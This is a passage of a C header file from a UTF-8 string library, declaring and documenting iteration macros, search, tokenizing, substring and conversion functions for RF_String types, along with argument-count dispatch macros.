characterUnicodeValue_ Here pass an uint32_t which in each iteration will hold the unicode code point of the character at position startCharacterPos_\n**/\n#define rfString_Iterate_Start(string_,startCharacterPos_,characterUnicodeValue_)     {\\\n            /* b index sec is the byte index and j the character index*/\\\n            uint32_t byteIndex_ = 0;uint32_t j_=0;\\\n            /*iterate until we find the character position requested and its equivalent byte position*/\\\n            while(j_!=startCharacterPos_)\\\n            {\\\n                if( rfUTF8_IsContinuationByte( (string_)->bytes[byteIndex_]) ==false)\\\n                {\\\n                    j_++;\\\n                }\\\n                byteIndex_++;\\\n            }\\\n            /*now start the requested iteration*/\\\n            while( (string_)->bytes[byteIndex_]!='\\0')\\\n            {\\\n                /*if it's a character*/\\\n                if( rfUTF8_IsContinuationByte( (string_)->bytes[byteIndex_]) ==false)\\\n                {/*Give the character value to the user*/\\\n                    characterUnicodeValue_ = rfString_BytePosToCodePoint( (string_),byteIndex_);\n\n// @memberof RF_String\n// @cppignore\n// @brief Ends an RF_String/RF_StringX forward iteration scope.\n//\n// @isinherited{StringX}\n// Look at #rfString_Iterate_Start for an example usage\n// @param[in,out] startCharacterPos_ Here give the uint32_t given to #rfString_Iterate_Start\n#define rfString_Iterate_End(startCharacterPos_)  startCharacterPos_++;}byteIndex_++;}}\n\n//Two macros to accomplish iteration of an RF_String from any given character going backwards. This macro should be used with its end pair.\n// We take advantage of the fact that an RF_String is always guaranteed to contain a valid UTF-8 sequence and thus no checks are performed.\n\n/**\n** @memberof RF_String\n** @cppignore\n** @brief Starts an RF_String backward iteration scope.\n**\n** @isinherited{StringX}\n** Use this macro to iterate every character inside an RF_String or RF_StringX going backwards\\n\n** Must be used with its pair macro #rfString_IterateB_End.\\n\n**\n** As an example consider this code that iterates every character of a string from the start to finish\n** @code\n** uint32_t charValue;\n** RF_String foo;rfString_Init(&foo,\"I am a String\");\n** uint32_t i = rfString_Length(&foo);\n** rfString_IterateB_Start(&foo,i,charValue)\n**      //for every character in the string,let's print it\n**      printf(\"Character at index %d is %c\\n\",i,charValue);\n** rfString_IterateB_End(i)\n** @endcode\n** @param[in] string_ The string to iterate. Must be a pointer to string\n** @param[in,out] characterPos_ Here give an uint32_t which will be the character position from which to start the iteration. In each iteration this will hold the character index. If the given position is out of bounds then the iteration does not happen\n** @param[in,out] characterUnicodeValue_ Here pass an uint32_t which in each iteration will hold the unicode code point of the character at position characterPos_\n**/\n#define rfString_IterateB_Start(string_,characterPos_,characterUnicodeValue_)     {\\\n            /* b index is the byte index and j the character index*/\\\n            uint32_t b_index_ = 0;uint32_t j_=0;\\\n            /* c index sec is another signed copy of the character index (and is int64_t so that it can cater for any situation). Reason is cause going backwards we gotta have -1 too */\\\n            int64_t c_index_ = characterPos_;\\\n            /*iterate until we find the character position requested and its equivalent byte position*/\\\n            while(j_!=characterPos_)\\\n            {\\\n                if( rfUTF8_IsContinuationByte( (string_)->bytes[b_index_]) ==false)\\\n                {\\\n                    j_++;\\\n                }\\\n                b_index_++;\\\n            }\\\n            /*now start the requested iteration - notice that the end condition is to reach the first character position*/\\\n            while(c_index_!=-1)\\\n            {\\\n                /*if it's a character*/\\\n                if( rfUTF8_IsContinuationByte( (string_)->bytes[b_index_]) ==false)\\\n                {/*Give the character value to the user*/\\\n                    characterUnicodeValue_ = rfString_BytePosToCodePoint( (string_),b_index_);\n\n// @memberof RF_String\n// @cppignore\n// @brief Ends an RF_String/RF_StringX backward iteration scope.\n//\n// @isinherited{StringX}\n// Look at #rfString_IterateB_Start for an example usage\n// @param[in,out] characterPos_ Here give the uint32_t given to #rfString_IterateB_Start\n#define rfString_IterateB_End(characterPos_)  c_index_-- ;characterPos_--;}b_index_--;}}\n\n// @memberof RF_String\n// @brief Finds the length of the string in characters.\n//\n// @isinherited{StringX}\n// @param s The string whose number of characters to find. @inhtype{String,StringX}\n// @return Returns the length of the sting in characters, not including the null termintion character\ni_DECLIMEX_ uint32_t rfString_Length(void * s);\n\n// @memberof RF_String\n// @brief Retrieves the unicode code point of the parameter character.\n//\n// @isinherited{StringX}\n// If the character position is out of bounds RF_STRING_INDEX_OUT_OF_BOUNDS is returned.\n// @param thisstr The string whose character code point we need. @inhtype{String,StringX}\n// @param c The character index whose unicode code point to return. Must be a positive (including zero) integer.\n// @return Returns the code point as an uint32_t or the value RF_STRING_INDEX_OUT_OF_BOUNDS if the requested character index is out of bounds\ni_DECLIMEX_ uint32_t rfString_GetChar(void* thisstr,uint32_t c);\n\n// @internal\n// @memberof RF_String\n// @cppignore\n// @brief Retrieves the unicode code point of the parameter bytepos of the string.\n//\n// @isinherited{StringX}\n// This is an internal function, there is no need to use it. The reason it is exposed here is that it is utilized in the iteration macros.\n// @warning DO NOT use this function unless you know what you are doing\n// @param thisstr The string whose byte position code point we need. @inhtype{String,StringX}\n// @param bytepos The byte position of the string from where to get the code point.\n// @warning If this is out of bounds then nothing can detect it and at best it will cause a SEG FAULT.\n//                 Moreover no check to see if this is not a continutation byte is made. All the checks must have been made before calling the function.\n// @return Returns the code point of the byte position as an uint32_t\n// @endinternal\ni_DECLIMEX_ uint32_t rfString_BytePosToCodePoint(void* thisstr,uint32_t bytepos);\n\n// @internal\n// @memberof RF_String\n// @cppignore\n// @brief Retrieves character position of a byte position\n//\n// @isinherited{StringX}\n// This is an internal function, there is no need to use it. It attempts to retrieve character position from a byte position. If the byte\n// position is a continutation byte and does not constitute the start of a character then depending on the option the function will find\n// either the next character or the previous character position from this byte position\n//\n// @warning DO NOT use this function unless you know what you are doing\n// @param thisstr The string whose byte position code point we need. @inhtype{String,StringX}\n// @param bytepos The byte position of the string from where to get the character position\n// @param before A boolean flag denoting the behaviour in case this byte position is a continutation byte. If @c before is true then\n// the function will retrieve the first character position before the byte. If it is false, it will retrieve the first character position\n// after the continuation byte.\n// @endinternal\ni_DECLIMEX_ uint32_t rfString_BytePosToCharPos(void* thisstr,uint32_t bytepos,char before);\n\n// @memberof RF_String\n// @opcmpeq\n// @brief Compares two Strings and returns true if they are equal and false otherwise\n//\n// @isinherited{StringX}\n// A macro comparing two String and returning true if they are equal and false otherwise. Use it to compare ONLY Strings here not string literals (c strings)\n// If you need to compare a String with a string literal (c string) use #rfString_Equal_s\n// @lmsFunction\n// @param s1 The first string to compare @inhtype{String,StringX} @tmpSTR\n// @param s2 The second string to compare @inhtype{String,StringX} @tmpSTR\n// @return True in case the strings are equal and false otherwise\n#if defined(RF_IAMHERE_FOR_DOXYGEN)\ni_DECLIMEX_ char rfString_Equal(void* s1,void* s2);\n#else\ni_DECLIMEX_ char i_rfString_Equal(void* s1,void* s2);\n#define rfString_Equal(i_STRING1_,i_STRING2_)   i_rfLMSX_WRAP2(char,i_rfString_Equal,i_STRING1_,i_STRING2_)\n#endif\n\n\n// @memberof RF_String\n// @brief Finds if a substring exists inside another string.\n//\n// @isinherited{StringX}\n// Finds the existence of String sstr inside this string with the given options. You have the\n// option to either match case or perform a case-insensitive search. In addition you can search\n// for the exact string and not it just being a part of another string.\n// @lmsFunction\n// @param thisstr This string we want to search in @inhtype{String,StringX}\n// @param sstr The substring string we want to search for @inhtype{String,StringX} @tmpSTR\n// @param options \\rfoptional{0}. Bitflag options denoting some options for the search.Can have values:\n// + @c RF_CASE_IGNORE: If you want the found substring to ignore the case and returns success for any occurence of the string in any case.\n//     Default search option is to @b match the case. For now this works only for characters of the english language.\n// + @c RF_MATCH_WORD: If you want the found substring to be exact. For example an exact search for @e \"HELLO\" in the string\n//     @e \"HELLOWORLD\" would return a failure. Default search is to return any found substring.\n// @return Returns the character position of the found substring or RF_FAILURE for not found\n#if defined(RF_IAMHERE_FOR_DOXYGEN)\ni_DECLIMEX_ int32_t rfString_Find(const void* thisstr,const void* sstr,const char options);\n#else\ni_DECLIMEX_ int32_t i_rfString_Find(const void* thisstr,const void* sstr,const char* options);\n    #ifndef RF_OPTION_DEFAULT_ARGUMENTS\n        #define rfString_Find(i_THISSTR_,i_SEARCHSTR_,i_OPTIONS_)  i_rfLMS_WRAP3(int32_t,i_rfString_Find,i_THISSTR_,i_SEARCHSTR_,i_RFI8_(i_OPTIONS_))\n    #else\n        #define rfString_Find(...) RF_SELECT_FUNC_IF_NARGGT(i_NPSELECT_RF_STRING_FIND,3,__VA_ARGS__)\n        #define i_NPSELECT_RF_STRING_FIND1(...) RF_COMPILE_ERROR(\"message \\\"Ileggal Arguments Number: Function rfString_Find() accepts from 2 to 3 arguments\\\"\")\n        #define i_NPSELECT_RF_STRING_FIND0(...) RF_SELECT_FUNC(i_SELECT_RF_STRING_FIND,__VA_ARGS__)\n        #define i_SELECT_RF_STRING_FIND2(i_THISSTR_,i_SEARCHSTR_) i_rfLMS_WRAP3(int32_t,i_rfString_Find,i_THISSTR_,i_SEARCHSTR_,i_RFI8_(0))\n        #define i_SELECT_RF_STRING_FIND3(i_THISSTR_,i_SEARCHSTR_,i_OPTIONS_) i_rfLMS_WRAP3(int32_t,i_rfString_Find,i_THISSTR_,i_SEARCHSTR_,i_RFI8_(i_OPTIONS_))\n        #define i_SELECT_RF_STRING_FIND1(...) RF_COMPILE_ERROR(\"message \\\"Illegal Arguments Number: Function rfString_Find() accepts from 2 to 3 arguments\\\"\")\n        #define i_SELECT_RF_STRING_FIND0(...) RF_COMPILE_ERROR(\"message \\\"Illegal Arguments Number: Function rfString_Find() accepts from 2 to 3 arguments\\\"\")\n    #endif\n#endif\n\n\n// @memberof RF_String\n// @brief Returns the integer value of a String\n//\n// @isinherited{StringX}\n// The parameter string must contains only numbers. If it contains anything else the function fails.\n// @param thisstr The string whose integer value to return. @inhtype{String,StringX}\n// @param[out] v A refence to an integer that will return the float value\n// @return Returns true in case of succesfull conversion or false if no integer was represented by the string\ni_DECLIMEX_ char rfString_ToInt(void* thisstr,int32_t* v);\n\n// @memberof RF_String\n// @brief Returns the double value of a String\n//\n// @isinherited{StringX}\n// The parameter string must contain only a number. If it contains anything else the function fails.\n// @param thisstr The string whose floating point value to return. @inhtype{String,StringX}\n// @param[out] f A refence to a double that will return the floating point number value\n// @return Returns RF_SUCCESS in case of succesfull conversion or error if there was failure. Possible errors are:\n// + @c RE_STRING_TOFLOAT: There was a conversion error. The string probably does not represent a float\n// + @c RE_STRING_TOFLOAT_RANGE: The represented floating point number is of a range bigger than what can be\n// represented by the system\n// + @c RE_STRING_TOFLOAT_UNDERFLOW: Representing the string's floating point number in a double would cause underflow\ni_DECLIMEX_ int rfString_ToDouble(void* thisstr,double* f);\n\n// @memberof RF_String\n// @brief Returns a cstring version of the string\n//\n// @isinherited{StringX}\n// Remember that this is just a pointer to the string data. It can't be modified. memcpy it if you need a copy of it.\n// @param str The string whose cstring to return. @inhtype{String,StringX}\n// @return Returns a c string version of the string\ni_DECLIMEX_ const char* rfString_ToCstr(const void* str);\n\n\n// @memberof RF_String\n// @cppignore\n// @brief Creates and returns an allocated copy of the given string\n//\n// @isinherited{StringX}\n// @note The Returned Substring needs to be freed by the user. BEWARE when assigning to a string using this function since if any previous string exists there IS NOT getting freed. You have to free it explicitly\n// @param src The string to copy from. @inhtype{String,StringX}\n// @return Returns a string copied from the previous one or null if the original string was null\ni_DECLIMEX_ RF_String* rfString_Copy_OUT(void* src);\n// @memberof RF_String\n// @cppignore\n// @brief Copies all the contents of a string to another\n//\n// @isinherited{StringX}\n// @param dst The string to copy in.\n// @param src The string to copy from. @inhtype{String,StringX}\n// If the value is bigger than the maximum number of characters then still all characters are copied.\ni_DECLIMEX_ void rfString_Copy_IN(RF_String* dst,void* src);\n// @memberof RF_String\n// @brief Copies a certain number of characters from a string\n//\n// @isinherited{StringX}\n// Copies @c n characters from @c src String into the destination @c dst string.\n// @param dst The string to copy in\n// @param src The string to copy from. @inhtype{String,StringX}\n// @param n The number of characters to copy from the @c src string\n// If the value is bigger than the maximum number of characters then still all characters are copied.\ni_DECLIMEX_ void rfString_Copy_chars(RF_String* dst,void* src,uint32_t n);\n\n\n// @memberof RF_String\n// @brief Applies a limited version of sscanf after the specified substring\n//\n// @isinherited{StringX}\n// @lmsFunction\n// @param thisstr The current string. @inhtype{String,StringX}\n// @param afterstr The substring after which to apply sscanf. @inhtype{String,StringX} @tmpSTR\n// @param format The tokens parameter which give the format of scanf\n// @param var A void* to pass in any variable we need to get a value\n// @return Returns true if a value was read and false otherwise, substring not being found in the string or sscanf unable to read into the variable\n#if defined(RF_IAMHERE_FOR_DOXYGEN)\n    i_DECLIMEX_ char rfString_ScanfAfter(void* thisstr,void* afterstr,const char* format,void* var);\n#else\n    i_DECLIMEX_ char i_rfString_ScanfAfter(void* thisstr,void* afterstr,const char* format,void* var);\n    #define rfString_ScanfAfter(i_THISSTR_,i_AFTERSTR_,i_FORMAT_,i_VAR_) i_rfLMSX_WRAP4(char,i_rfString_ScanfAfter,i_THISSTR_,i_AFTERSTR_,i_FORMAT_,i_VAR_)\n#endif\n\n// @memberof RF_String\n// @brief Counts how many times a substring occurs inside the string.\n//\n// @isinherited{StringX}\n// @lmsFunction\n// @param thisstr The string inside which to count. @inhtype{String,StringX}\n// @param sstr The substring for which to search. @inhtype{String,StringX} @tmpSTR\n// @param options \\rfoptional{0}. Bitflag options denoting some options for the search. Give 0 for the defaults.Can have values:\n// + @c RF_CASE_IGNORE: If you want the found substring to ignore the case and returns success for any occurence of the string in any case.\n//     Default search option is to @b match the case. For now this works only for characters of the english language.\n// + @c RF_MATCH_WORD: If you want the found substring to be exact. For example an exact search for @e \"HELLO\" in the string\n//     @e \"HELLOWORLD\" would return a failure. Default search is to return any found substring.\n// @return Returns the number of times cstr exists inside the string (0 is returned in case it's not found at all\n#if defined(RF_IAMHERE_FOR_DOXYGEN)\ni_DECLIMEX_ int32_t rfString_Count(void* thisstr,void* sstr,const char options);\n#else\ni_DECLIMEX_ int32_t i_rfString_Count(void* thisstr,void* sstr,const char* options);\n    #ifdef RF_OPTION_DEFAULT_ARGUMENTS\n        #define rfString_Count(...) RF_SELECT_FUNC_IF_NARGGT(i_NPSELECT_RF_STRING_COUNT,3,__VA_ARGS__)\n        #define i_NPSELECT_RF_STRING_COUNT1(...) RF_COMPILE_ERROR(\"message \\\"Ileggal Arguments Number: Function rfString_Count() accepts from 2 to 3 arguments\\\"\")\n        #define i_NPSELECT_RF_STRING_COUNT0(...) RF_SELECT_FUNC(i_SELECT_RF_STRING_COUNT,__VA_ARGS__)\n        #define i_SELECT_RF_STRING_COUNT2(i_THISSTR_,i_SEARCHSTR_)  i_rfLMSX_WRAP3(int32_t,i_rfString_Count,i_THISSTR_,i_SEARCHSTR_,i_RFI8_(0))\n        #define i_SELECT_RF_STRING_COUNT3(i_THISSTR_,i_SEARCHSTR_,i_OPTIONS_) i_rfLMS_WRAP3(int32_t,i_rfString_Count,i_THISSTR_,i_SEARCHSTR_,i_RFI8_(i_OPTIONS_))\n        #define i_SELECT_RF_STRING_COUNT1(...)  RF_COMPILE_ERROR(\"message \\\"Ileggal Arguments Number: Function rfString_Count() accepts from 2 to 3 arguments\\\"\")\n        #define i_SELECT_RF_STRING_COUNT0(...)  RF_COMPILE_ERROR(\"message \\\"Ileggal Arguments Number: Function rfString_Count() accepts from 2 to 3 arguments\\\"\")\n    #else\n        #define rfString_Count(i_THISSTR_,i_SEARCHSTR_,i_OPTIONS_) i_rfLMSX_WRAP3(int32_t,i_rfString_Count,i_THISSTR_,i_SEARCHSTR_,i_RFI8_(i_OPTIONS_))\n    #endif\n#endif\n\n\n// @memberof RF_String\n// @brief Tokenizes the given string\n//\n// @isinherited{StringX}\n// Separates it into @c tokensN depending on how many substrings can be created from the @c sep separatior and stores them\n// into the Array of RF_String* that should be passed to the function. The array gets initialized inside the function and\n// <b>has to be freed explicitly</b> later by thg user. Also each String inside the array has to be Deinitialized too.\n// Here is an example usage:\n// @snippet Strings/tokenize.cpp Tokenize_C\n// @cppsnippet Tokenize_CPP\n// @param[in] thisstr The string to tokenize. @inhtype{String,StringX}\n// @param[in] sep A string literal that will be used as a separator to tokenize the given string\n// @param[out] tokensN The number of tokens that got created\n// @param[out] tokens Pass a pointer to an array of RF_Strings. @keepptr\n// @return Returns true in success and false in case the the separating character has not been found\n// @internal @cppcode\n// char String::Tokenize(char* sep,uint32_t* tokensN, String*** tokens)\n// {\n//     RF_String* t;\n//     uint32_t i;\n//     if(rfString_Tokenize(this->i_StringCHandle,sep,tokensN,&t)==false)\n//         return false;\n//\n//     *tokens = (String**) malloc(sizeof(String*)* (*tokensN));\n//     for(i=0;i<(*tokensN);i++)\n//     {\n//        (*tokens)[i] = new String((RF_String*)&t[i]);\n//     }\n//     return true;\n// }\n// @endcpp @endinternal\ni_DECLIMEX_ char rfString_Tokenize(void* thisstr,char* sep,uint32_t* tokensN,RF_String** tokens);\n\n\n// @memberof RF_String\n// @brief Initializes the first substring, between two given strings\n//\n// @isinherited{StringX}\n// Initializes the given string as the first substring existing between the left and right parameter substrings\n// @lmsFunction\n// @note The Returned Substring needs to be deinitialized by the user.\n// @param thisstr This current string. @inhtype{String,StringX}\n// @param[in] lstr The left substring that will define the new substring. @inhtype{String,StringX} @tmpSTR\n// @param[in] rstr The right substring that will define the new substring. @inhtype{String,StringX} @tmpSTR\n// @param[out] result The resulting substring.\n// @param options \\rfoptional{0} Bitflag options denoting the method with which to search for the substring literals inside the string. Give 0 for the defaults.\n// Can have values:\n// + @c RF_CASE_IGNORE: If you want to search for any occurence of the substring disregarding CAPS or not.\n//     Default search option is to @b match the case. For now this works only for characters of the english language.\n// + @c RF_MATCH_WORD: If you to find only exact matches of the substring. For example an exact search for @e \"HELLO\" in the string\n//     @e \"HELLOWORLD\" would find nothing. Default is with this flag off.\n// @return Returns true if the substring is found and initialized and false otherwise\n#if defined(RF_IAMHERE_FOR_DOXYGEN)\ni_DECLIMEX_ char rfString_Between(void* thisstr,void* lstr,void* rstr,RF_String* result,const char options);\n#else\ni_DECLIMEX_ char i_rfString_Between(void* thisstr,void* lstr,void* rstr,RF_String* result,const char* options);\n    #ifdef RF_OPTION_DEFAULT_ARGUMENTS\n        #define rfString_Between(...) RF_SELECT_FUNC_IF_NARGGT(i_NPSELECT_RF_STRING_BETWEEN,5,__VA_ARGS__)\n        #define i_NPSELECT_RF_STRING_BETWEEN1(...)  RF_COMPILE_ERROR(\"message \\\"Ileggal Arguments Number: Function rfString_Between() accepts from 4 to 5 arguments\\\"\")\n        #define i_NPSELECT_RF_STRING_BETWEEN0(...)  RF_SELECT_FUNC(i_SELECT_RF_STRING_BETWEEN,__VA_ARGS__)\n        #define i_SELECT_RF_STRING_BETWEEN4(i_THISSTR_,i_LEFTSTR_,i_RIGHTSTR_,i_RESULT_) \\\n            i_rfLMSX_WRAP5(char,i_rfString_Between,i_THISSTR_,i_LEFTSTR_,i_RIGHTSTR_,i_RESULT_,i_RFI8_(0))\n        #define i_SELECT_RF_STRING_BETWEEN5(i_THISSTR_,i_LEFTSTR_,i_RIGHTSTR_,i_RESULT_,i_OPTIONS_) \\\n            i_rfLMSX_WRAP5(char,i_rfString_Between,i_THISSTR_,i_LEFTSTR_,i_RIGHTSTR_,i_RESULT_,i_RFI8_(i_OPTIONS_))\n        #define i_SELECT_RF_STRING_BETWEEN3(...) RF_COMPILE_ERROR(\"message \\\"Illegal Arguments Number: Function rfString_Between() accepts from 4 to 5 arguments\\\"\")\n        #define i_SELECT_RF_STRING_BETWEEN2(...) RF_COMPILE_ERROR(\"message \\\"Illegal Arguments Number: Function rfString_Between() accepts from 4 to 5 arguments\\\"\")\n        #define i_SELECT_RF_STRING_BETWEEN1(...) RF_COMPILE_ERROR(\"message \\\"Illegal Arguments Number: Function rfString_Between() accepts from 4 to 5 arguments\\\"\")\n        #define i_SELECT_RF_STRING_BETWEEN0(...) RF_COMPILE_ERROR(\"message \\\"Illegal Arguments Number: Function rfString_Between() accepts from 4 to 5 arguments\\\"\")\n    #else\n        #define rfString_Between(i_THISSTR_,i_LEFTSTR_,i_RIGHTSTR_,i_RESULT_,i_OPTIONS_) \\\n            i_rfLMSX_WRAP5(char,i_rfString_Between,i_THISSTR_,i_LEFTSTR_,i_RIGHTSTR_,i_RESULT_,i_RFI8_(i_OPTIONS_))\n    #endif\n#endif\n\n\n// @memberof RF_String\n// @brief Initializes the given string as the substring from the start until any of the given Strings are found\n//\n// @isinherited{StringX}\n// The parameters that have to be given as variable argument <b>must</b> be of type RF_String* or RF_StringX* or even\n// string initialized with the temporary string macro\n// @rfNoDefArgsWarn1\n// @warning if the library has been compiled with @c DEFAULT_ARGUMENTS off then arguments @c options and @c parN are actually pointers\n// to @c char and @c unsigned char respectively\n// @lmsFunction\n// @param thisstr The string to operate in. @inhtype{String,StringX}\n// @param result The resulting substring.\n// @param options Bitflag options denoting the method with which to search for the substring literals inside the string. Give 0 for the defaults.\n//  Can have values:\n// + @c RF_CASE_IGNORE: If you want to search for any occurence of the substring disregarding CAPS or not.\n//     Default search option is to @b match the case. For now this works only for characters of the english language.\n// + @c RF_MATCH_WORD: If you to find only exact matches of the substring. For example an exact search for @e \"HELLO\" in the string\n//     @e \"HELLOWORLD\" would find nothing. Default is with this flag off.\n// @param parN The number of strings to search for\n// @param ... The strings to search for. @inhtype{String,StringX} @tmpSTR\n// @extraVarArgLim\n// @return Returns true if the substring was initialized and false if none of the parameters were found or an invalid UTF-8 sequence was given. In the latter case an error is also logged.\n#ifdef RF_IAMHERE_FOR_DOXYGEN\ni_DECLIMEX_ char rfString_Beforev(void* thisstr,RF_String* result,const char options,const unsigned char parN, ...);\n#endif\n#ifdef RF_OPTION_DEFAULT_ARGUMENTS\n    i_DECLIMEX_ char i_rfString_Beforev(void* thisstr,RF_String* result,const char* options,const unsigned char* parN, ...);\n    #define rfString_Beforev(...)  RF_SELECT_FUNC_IF_NARGGT(i_NPSELECT_RF_STRING_BEFOREV,4,__VA_ARGS__)\n    #define i_NPSELECT_RF_STRING_BEFOREV1(...)  RF_SELECT_FUNC_IF_NARGGT2(i_LIMSELECT_RF_STRING_BEFOREV,18,__VA_ARGS__)\n    #define i_NPSELECT_RF_STRING_BEFOREV0(...) RF_COMPILE_ERROR(\"message \\\"Illegal Arguments Number: Function rfString_Beforev() needs to receive more than 4 arguments\\\"\")\n    #define i_LIMSELECT_RF_STRING_BEFOREV1(...) RF_COMPILE_ERROR(\"message \\\"Extra Arguments Limit Reached: Function rfString_Beforev() received more extra arguments than the limit permits\\\"\")\n    #define i_LIMSELECT_RF_STRING_BEFOREV0(...) RF_SELECT_FUNC(i_SELECT_RF_STRING_BEFOREV,__VA_ARGS__)\n    #define i_SELECT_RF_STRING_BEFOREV5(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...)    \\\n        i_rfLMSX_WRAP5(char,i_rfString_Beforev,i_ARG1_,i_ARG2_,i_RFI8_(i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_BEFOREV6(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP6(char,i_rfString_Beforev,i_ARG1_,i_ARG2_,i_RFI8_(i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_BEFOREV7(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP7(char,i_rfString_Beforev,i_ARG1_,i_ARG2_,i_RFI8_(i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_BEFOREV8(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP8(char,i_rfString_Beforev,i_ARG1_,i_ARG2_,i_RFI8_(i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_BEFOREV9(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP9(char,i_rfString_Beforev,i_ARG1_,i_ARG2_,i_RFI8_(i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_BEFOREV10(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP10(char,i_rfString_Beforev,i_ARG1_,i_ARG2_,i_RFI8_(i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_BEFOREV11(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP11(char,i_rfString_Beforev,i_ARG1_,i_ARG2_,i_RFI8_(i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_BEFOREV12(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP12(char,i_rfString_Beforev,i_ARG1_,i_ARG2_,i_RFI8_(i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_BEFOREV13(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP13(char,i_rfString_Beforev,i_ARG1_,i_ARG2_,i_RFI8_(i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_BEFOREV14(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP14(char,i_rfString_Beforev,i_ARG1_,i_ARG2_,i_RFI8_(i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_BEFOREV15(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP15(char,i_rfString_Beforev,i_ARG1_,i_ARG2_,i_RFI8_(i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_BEFOREV16(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP16(char,i_rfString_Beforev,i_ARG1_,i_ARG2_,i_RFI8_(i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_BEFOREV17(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP17(char,i_rfString_Beforev,i_ARG1_,i_ARG2_,i_RFI8_(i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_BEFOREV18(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP18(char,i_rfString_Beforev,i_ARG1_,i_ARG2_,i_RFI8_(i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n#else\n   i_DECLIMEX_ char rfString_Beforev(void* thisstr,RF_String* result,const char* options,const unsigned char* parN, ...);\n#endif\n\n// @memberof RF_String\n// @brief Initializes the given string as the substring from the start until the given string is found\n//\n// @isinherited{StringX}\n// @lmsFunction\n// @param thisstr The string to operate in. @inhtype{String,StringX}\n// @param sstr The substring that we want to find inside the string @inhtype{String,StringX} @tmpSTR\n// @param result The resulting substring.\n// @param options \\rfoptional{0} Bitflag options denoting the method with which to search for the substring literals inside the string. Give 0 for the defaults.\n// Can have values:\n// + @c RF_CASE_IGNORE: If you want to search for any occurence of the substring disregarding CAPS or not.\n//     Default search option is to @b match the case. For now this works only for characters of the english language.\n// + @c RF_MATCH_WORD: If you to find only exact matches of the substring. For example an exact search for @e \"HELLO\" in the string\n//     @e \"HELLOWORLD\" would find nothing. Default is with this flag off.\n// @return Returns true if the substring was initialized and false if none of the parameters were found or an invalid UTF-8 sequence was given. In the latter case an error is also logged.\n#if defined(RF_IAMHERE_FOR_DOXYGEN)\ni_DECLIMEX_ char rfString_Before(void* thisstr,void* sstr,RF_String* result,const char options);\n#else\ni_DECLIMEX_ char i_rfString_Before(void* thisstr,void* sstr,RF_String* result,const char* options);\n    #ifdef RF_OPTION_DEFAULT_ARGUMENTS\n        #define rfString_Before(...) RF_SELECT_FUNC_IF_NARGGT(i_NPSELECT_RF_STRING_BEFORE,4,__VA_ARGS__)\n        #define i_NPSELECT_RF_STRING_BEFORE1(...)  RF_COMPILE_ERROR(\"message \\\"Ileggal Arguments Number: Function rfString_Before() accepts from 3 to 4 arguments\\\"\")\n        #define i_NPSELECT_RF_STRING_BEFORE0(...)  RF_SELECT_FUNC(i_SELECT_RF_STRING_BEFORE,__VA_ARGS__)\n        #define i_SELECT_RF_STRING_BEFORE3(i_THISSTR_,i_SEARCHSTR_,i_RESULT_) i_rfLMSX_WRAP4(char,i_rfString_Before,i_THISSTR_,i_SEARCHSTR_,i_RESULT_,i_RFI8_(0))\n        #define i_SELECT_RF_STRING_BEFORE4(i_THISSTR_,i_SEARCHSTR_,i_RESULT_,i_OPTIONS_) i_rfLMSX_WRAP4(char,i_rfString_Before,i_THISSTR_,i_SEARCHSTR_,i_RESULT_,i_RFI8_(i_OPTIONS_))\n        #define i_SELECT_RF_STRING_BEFORE2(...) RF_COMPILE_ERROR(\"message \\\"Ileggal Arguments Number: Function rfString_Before() accepts from 3 to 4 arguments\\\"\")\n        #define i_SELECT_RF_STRING_BEFORE1(...) RF_COMPILE_ERROR(\"message \\\"Ileggal Arguments Number: Function rfString_Before() accepts from 3 to 4 arguments\\\"\")\n        #define i_SELECT_RF_STRING_BEFORE0(...) RF_COMPILE_ERROR(\"message \\\"Ileggal Arguments Number: Function rfString_Before() accepts from 3 to 4 arguments\\\"\")\n    #else\n        #define rfString_Before(i_THISSTR_,i_SEARCHSTR_,i_RESULT_,i_OPTIONS_) i_rfLMSX_WRAP4(char,i_rfString_Before,i_THISSTR_,i_SEARCHSTR_,i_RESULT_,i_RFI8_(i_OPTIONS_))\n    #endif\n#endif\n\n// @memberof RF_String\n// @brief Initialize a string after a given substring\n//\n// 